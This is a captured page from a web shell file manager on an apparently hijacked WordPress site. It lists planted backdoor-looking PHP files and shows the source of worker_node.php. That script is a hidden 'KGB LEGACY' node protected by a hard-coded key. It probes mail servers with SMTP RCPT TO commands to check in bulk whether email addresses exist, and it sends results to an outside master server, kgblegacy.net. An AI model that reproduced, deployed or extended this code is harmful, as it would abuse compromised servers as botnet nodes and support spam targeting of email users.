📁
SKYSHELL MANAGER
PHP v8.3.29
Create
Create
Path:
root
/
home
/
davi247
/
web
/
tecladistaemfoco.shop
/
public_html
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
ALFA_DATA
-
0755
🗑️
🏷️
🔒
📁
configSYR
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
jukyuban
-
0755
🗑️
🏷️
🔒
📁
s
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
GaspolllTerus898VV2.php
6.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ac83.php
3.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
bzrnsbik.php
19.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
configuration.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
9.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
main.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
olppfpeo.php
13.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.php
70.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
qasd.php
3.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worker_node.php
11.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
workers.php
6.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.69 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
7.52 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php.0
3.53 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron-sesh.php
2.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
9.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-setting.php
10.62 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
18.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-xmlrpc.php
1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-xmltec.php
0.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: worker_node.php
<?php // ============================================================================ // KGB LEGACY - EMAIL VERIFIER WORKER NODE (v1.1 PHP5-COMPAT) // PHP 5.3+ compatible: no ??, no random_bytes, no short arrays // ============================================================================ error_reporting(0); ini_set('display_errors', 0); date_default_timezone_set('UTC'); header('Content-Type: application/json'); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-API-Key'); if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit; } // ─── CONFIG ───────────────────────────────────────────────────────────────── define('NODE_KEY', 'ND_8A3F9C2B7D1E5F4A6C0B9D8E7F2A1C3B'); define('MASTER_URL', 'https://kgblegacy.net/dashboard/api/email-master.php'); if (!function_exists('http_response_code')) { function http_response_code($c = null) { if ($c !== null) header('X-PHP-Response-Code: '.$c, true, $c); return $c; } } // ─── AUTH ─────────────────────────────────────────────────────────────────── $apiKey = ''; if (isset($_SERVER['HTTP_X_API_KEY'])) $apiKey = $_SERVER['HTTP_X_API_KEY']; elseif (isset($_GET['key'])) $apiKey = $_GET['key']; if ($apiKey !== NODE_KEY) { http_response_code(401); exit(json_encode(array('error' => 'Invalid node key'))); } // ─── ROUTING ──────────────────────────────────────────────────────────────── $action = ''; if (isset($_GET['action'])) $action = $_GET['action']; elseif (isset($_POST['action'])) $action = $_POST['action']; switch ($action) { case 'verify': handleVerify(); break; case 'bulk_verify': handleBulkVerify(); break; case 'health': handleHealth(); break; case 'port_check': handlePortCheck(); break; default: echo json_encode(array('node' => (function_exists('gethostname') ? gethostname() : php_uname('n')), 'version' => '1.1', 'status' => 'active')); } // ─── HELPERS ──────────────────────────────────────────────────────────────── function kgb_rand_hex($n) { $hex = ''; if (function_exists('openssl_random_pseudo_bytes')) { $hex = bin2hex(openssl_random_pseudo_bytes($n)); } if (strlen($hex) < $n * 2) { $hex = substr(md5(uniqid(mt_rand(), true)), 0, $n * 2); } return $hex; } function verifySMTP($email, $port = 25) { $parts = explode('@', $email); if (count($parts) !== 2) return null; $domain = $parts[1]; $local = $parts[0]; // Get MX $mx = array(); if (!getmxrr($domain, $mx)) { $a = @gethostbyname($domain); if ($a === $domain) return array('error' => 'No MX records'); $mx = array($domain); } $mxHost = $mx[0]; $result = array( 'email' => $email, 'status' => 'unknown', 'domain' => $domain, 'local' => $local, 'mx_host' => $mxHost, 'smtp_code' => null, 'response' => null, 'verification_time' => 0, 'port_used' => $port, ); $start = microtime(true); $protocol = ($port == 465) ? 'ssl://' : ''; $smtp = @fsockopen($protocol . $mxHost, $port, $errno, $errstr, 5); if (!$smtp) { $result['status'] = 'unknown'; $result['response'] = "Connection failed: $errstr"; $result['verification_time'] = round((microtime(true) - $start) * 1000, 2); return $result; } stream_set_timeout($smtp, 5); $greeting = fgets($smtp, 512); if (strpos($greeting, '220') === false) { fclose($smtp); $result['response'] = 'No SMTP greeting'; $result['verification_time'] = round((microtime(true) - $start) * 1000, 2); return $result; } // EHLO $senderDomain = 'verify-' . kgb_rand_hex(4) . '.com'; fwrite($smtp, "EHLO $senderDomain\r\n"); for ($i = 0; $i < 20; $i++) { $line = fgets($smtp, 512); if ($line === false || substr($line, 3, 1) === ' ') break; } // MAIL FROM fwrite($smtp, "MAIL FROM:<check@$senderDomain>\r\n"); $mailResp = fgets($smtp, 512); if (strpos($mailResp, '250') === false) { fclose($smtp); $result['response'] = 'MAIL FROM rejected'; $result['verification_time'] = round((microtime(true) - $start) * 1000, 2); return $result; } // RCPT TO - THE KEY $safeEmail = str_replace(array("\r", "\n", "\0"), '', $email); fwrite($smtp, "RCPT TO:<$safeEmail>\r\n"); $rcptResp = fgets($smtp, 512); preg_match('/^(\d{3})/', $rcptResp, $m); $code = isset($m[1]) ? $m[1] : null; $result['smtp_code'] = $code; $result['response'] = trim($rcptResp); if (in_array($code, array('250', '251'))) { $result['status'] = 'valid'; } elseif (in_array($code, array('550', '551', '553', '554'))) { $result['status'] = 'invalid'; } elseif (in_array($code, array('451', '452', '421'))) { $result['status'] = 'unknown'; $result['response'] .= ' (temporary/greylisting)'; } fwrite($smtp, "QUIT\r\n"); fclose($smtp); $result['verification_time'] = round((microtime(true) - $start) * 1000, 2); return $result; } function detectCatchAll($domain) { $randomEmail = 'nonexistent_' . kgb_rand_hex(4) . "@$domain"; $result = verifySMTP($randomEmail, 25); return $result && $result['status'] === 'valid'; } function checkPort($host, $port) { $sock = @fsockopen($host, $port, $errno, $errstr, 3); if ($sock) { fclose($sock); return true; } return false; } function callMaster($action, $data = array()) { if (!function_exists('curl_init')) return null; $ch = curl_init(MASTER_URL . '?action=' . $action); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => array('X-API-Key: ' . NODE_KEY), CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); return $resp; } // ─── HANDLERS ─────────────────────────────────────────────────────────────── function handleVerify() { $email = ''; if (isset($_GET['email'])) $email = $_GET['email']; elseif (isset($_POST['email'])) $email = $_POST['email']; $email = trim($email); if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) { http_response_code(400); die(json_encode(array('error' => 'Valid email required'))); } $parts = explode('@', $email); $domain = $parts[1]; // Try ports in order: 25, 587, 465, 2525 $ports = array(25, 587, 465, 2525); $result = null; foreach ($ports as $port) { $r = verifySMTP($email, $port); if ($r && $r['status'] !== 'unknown') { $result = $r; break; } if ($r && $r['smtp_code'] !== null) { $result = $r; } } if (!$result) { $result = verifySMTP($email, 25); } if (!$result) { $result = array( 'email' => $email, 'status' => 'unknown', 'domain' => $domain, 'local' => $parts[0], 'mx_host' => null, 'smtp_code' => null, 'response' => 'Ports 25/587/465/2525 all unreachable', 'verification_time' => 0, ); } $result['catch_all'] = false; callMaster('node_report', array( 'jobs_done' => 1, 'emails_verified' => 1, 'errors' => 0, 'cpu' => 0, 'memory' => 0, 'status' => 'online' )); echo json_encode(array('data' => $result)); } function handleBulkVerify() { $raw = file_get_contents('php://input'); $input = json_decode($raw, true); $emails = (isset($input['emails']) && is_array($input['emails'])) ? $input['emails'] : (isset($_POST['emails']) ? $_POST['emails'] : array()); $jobId = isset($input['job_id']) ? $input['job_id'] : (isset($_POST['job_id']) ? $_POST['job_id'] : ''); if (!is_array($emails) || empty($emails)) { http_response_code(400); die(json_encode(array('error' => 'Emails array required'))); } $results = array(); $valid = 0; $invalid = 0; $unknown = 0; $emails = array_slice($emails, 0, 50); foreach ($emails as $email) { $email = trim($email); if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) { $results[] = array( 'email' => $email, 'status' => 'invalid', 'domain' => '', 'local' => '', 'mx_host' => null, 'smtp_code' => null, 'response' => 'Invalid syntax', 'verification_time' => 0 ); $invalid++; continue; } $r = verifySMTP($email, 25); if (!$r || $r['status'] === 'unknown') { foreach (array(587, 465, 2525) as $port) { $r2 = verifySMTP($email, $port); if ($r2 && $r2['status'] !== 'unknown') { $r = $r2; break; } } } if (!$r) { $parts = explode('@', $email); $r = array( 'email' => $email, 'status' => 'unknown', 'domain' => isset($parts[1]) ? $parts[1] : '', 'local' => isset($parts[0]) ? $parts[0] : '', 'mx_host' => null, 'smtp_code' => null, 'response' => 'All ports failed', 'verification_time' => 0 ); } $results[] = $r; if ($r['status'] === 'valid') $valid++; elseif ($r['status'] === 'invalid') $invalid++; else $unknown++; usleep(100000); } callMaster('node_report', array( 'jobs_done' => 1, 'emails_verified' => count($results), 'errors' => 0, 'cpu' => 0, 'memory' => 0, 'status' => 'online' )); if (!empty($jobId)) { callMaster('job_complete', array( 'job_id' => $jobId, 'results' => json_encode($results) )); } echo json_encode(array( 'job_id' => $jobId, 'results' => $results, 'stats' => array('total' => count($results), 'valid' => $valid, 'invalid' => $invalid, 'unknown' => $unknown) )); } function handleHealth() { $port25 = checkPort('gmail-smtp-in.l.google.com', 25); $port587 = checkPort('smtp.gmail.com', 587); echo json_encode(array( 'node' => (function_exists('gethostname') ? gethostname() : php_uname('n')), 'ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'), 'status' => 'online', 'php_version' => phpversion(), 'smtp_ports' => array( '25' => $port25, '587' => $port587, '465' => checkPort('smtp.gmail.com', 465), '2525' => checkPort('smtp.gmail.com', 2525), ), 'server_time' => date('c'), 'uptime' => 'unknown', )); } function handlePortCheck() { $host = isset($_GET['host']) ? $_GET['host'] : 'gmail-smtp-in.l.google.com'; $ports = array(25, 465, 587, 2525); $results = array(); foreach ($ports as $p) { $results[$p] = checkPort($host, $p); } echo json_encode(array('host' => $host, 'ports' => $results)); }
Save